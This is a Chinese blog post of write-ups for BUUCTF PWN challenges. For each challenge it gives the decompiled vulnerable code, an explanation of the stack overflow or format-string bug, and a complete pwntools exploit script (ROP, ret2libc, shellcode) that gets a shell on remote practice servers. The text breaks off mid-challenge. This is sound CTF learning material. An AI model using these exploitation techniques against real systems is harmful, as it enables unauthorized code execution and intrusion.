WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

Windows内核学习

其它

关于博客

面试

杂谈

BUUCTF PWN题

准备把堆题专门拿出来写,这里就写栈题了

test_your_nc

直接nc连上去cat flag就可以了

rip

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

64位程序什么保护都没有开

下面是伪代码

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [sp+1h] [bp-Fh]@1

puts("please input");
gets(&s, argv);
puts(&s);
puts("ok,bye!!!");
return 0;
}

溢出点是gets

再看一下有fun函数执行/bin/sh

地址为0x401186

需要溢出跳到fun函数就完成了

用cyclic判断出溢出字符为23后就可以开始编写脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context(log_level='debug', arch='amd64', os='linux')

#pwnfile = "./pwn1"
#io = process(pwnfile)
host = "node4.buuoj.cn"
port = 29551
io = remote(host, port)
payload = 'A'* 23 + p64(0x4011FC) + p64(0x401186)
#这里因为对齐的关系需要多走一次ret
#gdb.attach(io)
#pause()
io.sendline(payload)
io.interactive()

warmup_csaw_2016

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

和上题相同

主函数伪代码

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [sp+0h] [bp-80h]@1
char v5; // [sp+40h] [bp-40h]@1

write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(&s, "%p\n", sub_40060D);
write(1, &s, 9uLL);
write(1, ">", 1uLL);
return gets(&v5, ">");
}

溢出点在gets和上题基本一样

存在sub_40060D函数可以直接cat flag.txt

这里直接给出exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

pwnfile = "./warmup_csaw_2016"
#io = process(pwnfile)
host = "node4.buuoj.cn"
port = 26389
io = remote(host, port)
dem = '>'
payload = 'a'*72 + p64(0x4005A3) + p64(0x40060D)
io.sendlineafter(dem, payload)
io.interactive()

ciscn_2019_n_1

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

开了nx保护

主函数里面func函数是漏洞点

贴一下func函数的伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int func()
{
int result; // eax@2
char v1; // [sp+0h] [bp-30h]@1
float v2; // [sp+2Ch] [bp-4h]@1

v2 = 0.0;
puts("Let's guess the number.");
gets(&v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}

可以看到gets接收到的参数复制给v1,不过下面的比较是v2

所以题目本意应应该是溢出v1将v2修改为11.28125

不过这里直接溢出将返回地址改为0x4006BE跳过判断就可以

不需要去修改v2的值

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

#pwnfile = "./ciscn_2019_n_1"
#io = process(pwnfile)
host = "node4.buuoj.cn"
port = 26529
io = remote(host, port)
dem = 'ber.'
payload = 'a'*0x38 + p64(0x4006BE)
io.sendlineafter(dem, payload)
io.interactive()

pwn1_sctf_2016

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

是32位的程序,开启nx保护

漏洞点在vuln函数,看伪代码好像是c++写的,有点不舒服

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int vuln()
{
const char *v0; // eax@1
char s; // [sp+1Ch] [bp-3Ch]@1
char v3; // [sp+3Ch] [bp-1Ch]@1
char v4; // [sp+40h] [bp-18h]@1
char v5; // [sp+47h] [bp-11h]@1
char v6; // [sp+48h] [bp-10h]@1
char v7; // [sp+4Fh] [bp-9h]@1

printf("Tell me something about yourself: ");
fgets(&s, 32, edata);
std::string::operator=(&input, &s);
std::allocator<char>::allocator(&v5);
std::string::string(&v4, "you", &v5);
std::allocator<char>::allocator(&v7);
std::string::string(&v6, "I", &v7);
replace((std::string *)&v3);
std::string::operator=(&input, &v3, &v6, &v4);
std::string::~string((std::string *)&v3);
std::string::~string((std::string *)&v6);
std::allocator<char>::~allocator(&v7);
std::string::~string((std::string *)&v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(&s, v0);
return printf("So, %s\n", &s);
}

代码里面看就是把I替换为you

有php反序列化溢出的感觉了

溢出点在strcpy,可以看到fgets只能接收32个字符

gdb测试下需要多少字节溢出

得到溢出字节为64,需要0x15*I加上任意字符,最后跳到题目的get_flag函数就可以完成题目了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./pwn1_sctf_2016"
#io = process(pwnfile)
host = "node4.buuoj.cn"
port = 28332
io = remote(host, port)
dem = ': '
payload = 'I'*0x15 + 'a' +p32(0x08048F0D)
io.sendline(payload)
#gdb.attach(io)
#pause()
io.interactive()

jarvisoj_level0

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

这题漏洞点在vulnerable_function

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-80h]@1

return read(0, &buf, 0x200uLL);
}

在题目中有callsystem函数可以直接getshell

这题思路就是得到溢出字符数量后跳到callsystem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./level0"
#io = process(pwnfile)
host = "node4.buuoj.cn"
port = 28622
io = remote(host, port)
dem = 'd\n'
payload = 'A'* 0x88 + p64(0x4005A5) +p64(0x400596)
#对齐的原因需要多ret一次
#gdb.attach(io)
#pause()
io.sendlineafter(dem, payload)
io.interactive()

PWN5

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

新题型格式化字符串漏洞

先看看主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int a1)
{
unsigned int v1; // eax@1
int fd; // ST10_4@1
int result; // eax@4
char nptr; // [sp+4h] [bp-80h]@1
char buf; // [sp+14h] [bp-70h]@1
int v6; // [sp+78h] [bp-Ch]@1
int *v7; // [sp+80h] [bp-4h]@1

v7 = &a1;
v6 = *MK_FP(__GS__, 20);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &unk_804C044, 4u);
printf("your name:");
read(0, &buf, 0x63u);
printf("Hello,");
printf(&buf);
printf("your passwd:");
read(0, &nptr, 0xFu);
if ( atoi(&nptr) == unk_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( *MK_FP(__GS__, 20) != v6 )
sub_80493D0(*MK_FP(__GS__, 20) ^ v6);
return result;
}

看代码意思就是会生成随机数,然后存到804C044位置

用格式化字符串漏洞去覆盖该位置的值就可以走进if就可以getshell了

通过查看堆栈可以发现buf存在栈第十个位置,只需要在第十个位置填上0x804C044,后面接上%n就可以覆盖掉随机数了,因为0x804C044为四字节所以0x804C044内容就是4,在nptr中输入4这题就完成了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context(log_level='debug', arch='i386', os='linux')

# pwnfile = "./pwn"
# io = process(pwnfile)
host = "node4.buuoj.cn"
port = 25820
io = remote(host, port)
dem = ':'
target = 0x804C044
payload = p32(target) + "%10$n"
io.sendlineafter(dem, payload)
# gdb.attach(io, "b *0x80492E1")
# pause()
io.sendlineafter(dem, str(0x4))
# gdb.attach(io)
# pause()
io.interactive()

ciscn_2019_c_1

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

漏洞点在encrypt函数里面

gets接收参数造成溢出

先来看看漏洞函数的伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
size_t v0; // rbx@12
char s[80]; // [sp+0h] [bp-50h]@1
__int16 v3; // [sp+30h] [bp-20h]@1

memset(s, 0, 0x30uLL);
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

gets接收的参数会被下面的for循环加密

不过参数的长度由strlen得到,可以使用\x00来截断实现跳过加密循环

这题没有直接getshell的函数,需要的libc里面去找

因为主函数里面为while循环可以一直输入,且之前调用过puts函数,可以先泄露出puts函数在libc中的地址,然后计算出system函数和/bin/bash的编译最后getshell

这里用LibcSearch自动找对应的libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher import *
context(log_level = "debug", arch = "amd64", os = "linux")
pwnfile = "./ciscn_2019_c_1"
#io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 26753
io = remote(host, port)
io.sendlineafter("Input your choice!\n", "1")
dem = "encrypted\n"
puts_got = 0x602020
pop_rdi_ret = 0x400c83
main = elf.symbols['main']
payload = '\x00' + 'a'*0x57 + p64(pop_rdi_ret) + p64(puts_got) + p64(0x4006E0) + p64(main)
#gdb.attach(io)
#pause()
io.sendlineafter(dem, payload)

io.recvline()
io.recvline()
puts_got_address = u64(io.recv(6).ljust(8, '\x00'))
print(hex(puts_got_address))
libc = LibcSearcher('puts', puts_got_address)
base = puts_got_address - libc.dump('puts')
print(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
system = base + libc.dump('system')

io.sendlineafter("Input your choice!\n", "1")
payload2 = '\x00' * 0x58 +p64(0x004006b9)+ p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.sendlineafter(dem, payload2)
io.interactive()

ciscn_2019_n_8

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护基本全开

看看伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ecx@2
int result; // eax@6
int v5; // [sp-10h] [bp-1Ch]@0
int v6; // [sp-Ch] [bp-18h]@0
int v7; // [sp+0h] [bp-Ch]@1

v7 = *MK_FP(__GS__, 20);
*((_DWORD *)&var + 13) = 0;
*((_DWORD *)&var + 14) = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", &var, v5, v6);
if ( *(_QWORD *)((char *)&var + 52) )
{
if ( *(_QWORD *)((char *)&var + 52) == 0x11LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var,
*((_DWORD *)&var + 1),
*((_DWORD *)&var + 2),
*((_DWORD *)&var + 3),
*((_DWORD *)&var + 4),
*((_DWORD *)&var + 5),
*((_DWORD *)&var + 6),
*((_DWORD *)&var + 7),
*((_DWORD *)&var + 8),
*((_DWORD *)&var + 9),
*((_DWORD *)&var + 10),
*((_DWORD *)&var + 11),
*((_DWORD *)&var + 12),
*((_DWORD *)&var + 13),
*((_DWORD *)&var + 14));
}
else
{
printf("%s, Welcome!\n", &var);
puts("Try do something~");
}
result = 0;
if ( *MK_FP(__GS__, 20) != v7 )
_stack_chk_fail_local(v3, *MK_FP(__GS__, 20) ^ v7);
return result;
}

只需要52位为0x11就可以

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(log_level = "debug", arch = "i386", os = "linux")
# pwnfile = "./ciscn_2019_n_8"
# io = process(pwnfile)
host = "node4.buuoj.cn"
port = 29863
io = remote(host, port)
dem = '?'
payload = 'a'* 52 + p32(0x11)
io.sendlineafter(dem, payload)
io.interactive()

jarvisoj_level2

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

这题GDB调不起来先放放

bjdctf_2020_babystack

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

直接看主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [sp+0h] [bp-10h]@1
size_t nbytes; // [sp+Ch] [bp-4h]@1

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
puts("[+]What's u name?");
read(0, &buf, (unsigned int)nbytes);
return 0;
}

溢出点在read,前面的scanf可以控制read的大小,直接给100然后read溢出到backdoor函数就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context(log_level='debug', arch='amd64', os='linux')
# pwnfile = "./bjdctf_2020_babystack"
# io = process(pwnfile)
host = "node4.buuoj.cn"
port = 26010
io = remote(host, port)
dem = ':'
nbytes = "100"
dem2 = '?'
payload = 'A'* 24 + p64(0x400834) +p64(0x4006E6)
# gdb.attach(io)
# pause()
io.sendlineafter(dem, nbytes)
io.sendlineafter(dem2, payload)
io.interactive()

get_started_3dsctf_2016

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

看文件大小可以知道是静态编译的

用ldd也可以

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[56]; // [esp+4h] [ebp-38h] BYREF

printf("Qual a palavrinha magica? ", v4[0]);
gets(v4);
return 0;
}

主函数直接给gets让溢出,接下来就是思路的问题了

虽然题目中由get_flag函数不过看着有点不好用

直接先跳到read函数在数据写入/bin/sh\x00

再写入系统调用号去执行/bin/sh

写入\x00是为了避免数据段有别的字符,用来截断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./get_started_3dsctf_2016"
#io = process(pwnfile)
host = "node4.buuoj.cn"
port = 25419
io = remote(host, port)

pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
read_sym = 0x806E140
data = 0x80ec000
main = 0x8048A20
int_80 = 0x0806d7e5

#gdb.attach(io)
#pause()
payload = flat(['a'*56 + p32(read_sym) + p32(main) + p32(0) + p32(data) + p32(8)])
io.sendline(payload)
#gdb.attach(io)
#pause()
io.send("/bin/sh\x00")
payload = flat(['a'*56 + p32(pop_eax_ret) + p32(11) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(data) + p32(int_80)])
io.sendline(payload)
io.interactive()

[OGeek2019]babyrop

这题给出了libc

1
2
3
4
5
Arch:     i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

主函数里面先执行了sub_804871F函数,参数为主函数生成的随机数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]

memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", a1);
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}

用strncmp对比输入的字符和随机数是否相等,不等就退出

不过strncmp的第三个参数是strlen得到的,所以把输入的参数的第一个字符设置为\x00

这样对比0字节肯定是正确的

绕过该判断再继续看

sub_804871F函数返回的值就是下一个函数的参数,输入的第七个字符就是返回值

先看看下一个函数sub_80487D0

1
2
3
4
5
6
7
8
9
10
11
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf[231]; // [esp+11h] [ebp-E7h] BYREF

if ( a1 == 0x7F )
result = read(0, buf, 0xC8u);
else
result = read(0, buf, a1);
return result;
}

如果输入参数为7F则read接收0xC8个字符,如果不等则接收与参数相等的字符

可以看到溢出至少需要231字符0xC8肯定是不够的,所以a1不能等于7F

直接把a1赋值到最大的0xFF就可以了

这样的话上一个payload就可以为\x00 + \xff*0x19

不用管第几位全部覆盖上就好了

到这步溢出点已经可控了

后面就是正常的泄露write函数在libc中的地址然后算偏移得到system和/bin/sh就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='i386', os='linux')

pwnfile = "./babyrop"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 28103
io = remote(host, port)

write_addr = 0x8048578
write_got = elf.got['write']
print(hex(write_got))
main = 0x8048825
dem = ''
payload = '\x00' + '\xFF'* 0x19
# gdb.attach(io, "b*0x804886d")
# pause()
io.sendline(payload)
io.recv()

#gdb.attach(io)
#pause()
payload = 'A'*235 + p32(write_addr) + p32(main) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload)
libc_write = u32(io.recv(4))
libc = LibcSearcher("write", libc_write)
print(hex(libc_write))
base = libc_write - 0xD43C0
print(hex(base))
libc_system = base + 0x3A940
bin_sh = base + 0x15902B

payload = '\x00' + '\xFF'* 0x19
#gdb.attach(io)
#pause()
io.sendline(payload)
io.recv()
payload = 'A'*235 + p32(libc_system) + p32(0) + p32(bin_sh)
io.sendline(payload)
io.interactive()

jarvisoj_level2_x64

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

还是有点问题后面再写

[HarekazeCTF2019]baby_rop

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

system卡住

ciscn_2019_en_2

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

这题好像和ciscn_2019_c_1一样

直接复制过来打就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher import *
context(log_level = "debug", arch = "amd64", os = "linux")
pwnfile = "./ciscn_2019_en_2"
#io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 27578
io = remote(host, port)
io.sendlineafter("Input your choice!\n", "1")
dem = "encrypted\n"
puts_got = 0x602020
pop_rdi_ret = 0x400c83
main = elf.symbols['main']
payload = '\x00' + 'a'*0x57 + p64(pop_rdi_ret) + p64(puts_got) + p64(0x4006E0) + p64(main)
#gdb.attach(io)
#pause()
io.sendlineafter(dem, payload)

io.recvline()
io.recvline()
puts_got_address = u64(io.recv(6).ljust(8, '\x00'))
print(hex(puts_got_address))
libc = LibcSearcher('puts', puts_got_address)
base = puts_got_address - libc.dump('puts')
print(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
system = base + libc.dump('system')

io.sendlineafter("Input your choice!\n", "1")
payload2 = '\x00' * 0x58 +p64(0x004006b9)+ p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.sendlineafter(dem, payload2)
io.interactive()

not_the_same_3dsctf_2016

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

这题和get_started_3dsctf_2016一样..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./not_the_same_3dsctf_2016"
# io = process(pwnfile)
host = "node4.buuoj.cn"
port = 25869
io = remote(host, port)

pop_eax_ret = 0x08048b0b
pop_edx_ecx_ebx_ret = 0x0806fcf0
read_sym = 0x806E200
data = 0x80ea000
main = 0x80489e0
int_80 = 0x806d8a5

#gdb.attach(io)
#pause()
payload = flat(['a'* 45 + p32(read_sym) + p32(main) + p32(0) + p32(data) + p32(8)])
io.sendline(payload)
#gdb.attach(io)
#pause()
io.send("/bin/sh\x00")
payload = flat(['a' * 45 + p32(pop_eax_ret) + p32(11) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(data) + p32(int_80)])
io.sendline(payload)
io.interactive()

ciscn_2019_n_5

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

栈可读可写可执行,应该是要写shellcode的题目

第一次输入name是存入bss段的,第二次输入溢出的字符数为40

第一次输入把shellcode写入bss段,第二次输入跳到bss段就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from LibcSearcher import *
context(log_level = "debug", arch = "amd64", os = "linux")
pwnfile = "./ciscn_2019_n_5"
# io = process(pwnfile)
# elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 29450
io = remote(host, port)
io.sendlineafter("tell me your name", asm(shellcraft.sh()))
payload = 'a' * 40 + p64(0x601080)
io.sendlineafter("What do you want to say to me?", payload)
io.interactive()

others_shellcode

这题不知道啥意思直接连就可以了

ciscn_2019_ne_5

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

先来看看主函数伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int v4; // [esp+0h] [ebp-100h] BYREF
char src[4]; // [esp+4h] [ebp-FCh] BYREF
char v6[124]; // [esp+8h] [ebp-F8h] BYREF
char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
char v8[96]; // [esp+88h] [ebp-78h] BYREF
int *v9; // [esp+F4h] [ebp-Ch]

v9 = &argc;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fflush(stdout);
*(_DWORD *)s1 = 48;
memset(v8, 0, sizeof(v8));
*(_DWORD *)src = 48;
memset(v6, 0, sizeof(v6));
puts("Welcome to use LFS.");
printf("Please input admin password:");
__isoc99_scanf("%100s", s1);
if ( strcmp(s1, "administrator") )
{
puts("Password Error!");
exit(0);
}
puts("Welcome!");
puts("Input your operation:");
puts("1.Add a log.");
puts("2.Display all logs.");
puts("3.Print all logs.");
printf("0.Exit\n:");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 0:
exit(0);
return result;
case 1:
AddLog((int)src);
break;
case 2:
Display(src);
break;
case 3:
Print();
break;
case 4:
GetFlag(src);
break;
default:
break;
}
sub_804892B();
return result;
}

首先是硬编码密码

这里可能是伪代码错了需要输入的密码为administrator

可以看到在123选项以外还有4选项 GetFlag

再来看看GetFlag

1
2
3
4
5
6
7
8
9
10
int __cdecl GetFlag(char *src)
{
char dest[4]; // [esp+0h] [ebp-48h] BYREF
char v3[60]; // [esp+4h] [ebp-44h] BYREF

*(_DWORD *)dest = 48;
memset(v3, 0, sizeof(v3));
strcpy(dest, src);
return printf("The flag is your log:%s\n", dest);
}

那么这题的思路就是在AddLog里面输入溢出字符串然后到GetFlag来溢出

这里需要注意一下复制用的是strcpy函数

所以payload不可以出现\x00不然会导致复制不全

还有一点本题已经有system函数了

溢出可以直接找system

/bin/sh可以用sh代替

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='i386', os='linux')

pwnfile = "./ciscn_2019_ne_5"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 27029
io = remote(host, port)
system = 0x080484D0


# sh = 0x080461d2 #本地的sh地址
sh = 0x80482ea #远程的sh地址
dem = "password:"
dem1 = ":"
dem2 = "info:"
io.sendlineafter(dem, "administrator")


io.sendlineafter(dem1, "1")
io.recv()

payload = 'a'* 76 + p32(system) + p32(0x22222222) + p32(sh)
io.sendlineafter(dem2, payload)

# io.sendlineafter(dem1,"3")
# io.recv()

# gdb.attach(io, "b *0x8048721")
# pause()

io.sendlineafter(dem1,"4")
# result = io.recv()

# system_got_address = u32(result[0x6e:0x72])

# print("[+]system " + hex(system_got_address))

# libc = LibcSearcher('system', system_got_address)
# base = system_got_address - libc.dump('system')
# print(hex(base))
# bin_sh = base + libc.dump('str_bin_sh')


# io.sendline("1")

# payload = 'a'* 76 + p32(system_got_address) + p32(main) + p32(bin_sh)
# io.sendline(payload)
# io.sendline("4")

io.interactive()

远程sh地址和实际下载到的sh地址不同,好像是ROPgadget找的问题

至于下面的注释是想先泄露找到libc地址再打不知道为啥总是有问题

铁人三项(第五赛区)_2018_rop

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

漏洞点在vulnerable_function

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf[136]; // [esp+10h] [ebp-88h] BYREF

return read(0, buf, 0x100u);
}

溢出的字节数量为140

在be_nice_to_people调用getegid函数说明got表已经修改了

思路就是先泄露getegid函数在libc中的地址然后得到system和/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='i386', os='linux')

pwnfile = "./2018_rop"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 28497
io = remote(host, port)
getegid_got = elf.got['getegid']
vulnrable = 0x8048474

payload = 'a' * 140 + p32(0x80483a0) + p32(vulnrable) + p32(0x1) + p32(getegid_got) + p32(0x4) + p32(0x100)


# gdb.attach(io, "b *0x80484C6")
# pause()

io.sendline(payload)
getegid_got_address = u32(io.recv(4))
print("[+]getegid_got_address: " + hex(getegid_got_address))
libc = LibcSearcher('getegid', getegid_got_address)
base = getegid_got_address - libc.dump('getegid')
print(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
system = base + libc.dump('system')


# gdb.attach(io, "b *0x80484C6")
# pause()

payload = 'a' * 140 + p32(system) + p32(vulnrable) + p32(bin_sh)
io.sendline(payload)

io.interactive()

bjdctf_2020_babyrop

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

漏洞点在vuln函数

1
2
3
4
5
6
7
ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Pull up your sword and tell me u story!");
return read(0, buf, 0x64uLL);
}

就是read直接打

找到可以用的ROP就可以了

在init调用了puts

应该是泄露puts地址然后getshell了

测试出溢出字符为40位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./bjdctf_2020_babyrop"
# io = process(pwnfile)
elf = ELF(pwnfile)
puts = 0x004004E0
puts_got = elf.got['puts']
vul = 0x40067D
pop_rdi_ret = 0x400733
pop_rsi_r15 = 0x400731

host = "node4.buuoj.cn"
port = 25350
io = remote(host, port)
payload = 'a' * 40 + p64(pop_rdi_ret) + p64(puts_got)+ p64(puts) + p64(vul)
# gdb.attach(io, "b *0x4006a5")
# pause()
io.sendline(payload)
io.recvuntil("Pull up your sword and tell me u story!\x0a")
puts_got_address = u64(io.recv(6).ljust(8, '\x00'))
print("[+] " + hex(puts_got_address))
libc = LibcSearcher('puts', puts_got_address)
base = puts_got_address - libc.dump('puts')
print(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
system = base + libc.dump('system')

payload = 'a' * 40 + p64(pop_rdi_ret) + p64(bin_sh)+ p64(system) + p64(vul)
io.sendline(payload)


io.interactive()

bjdctf_2020_babystack2

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

漏洞在主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
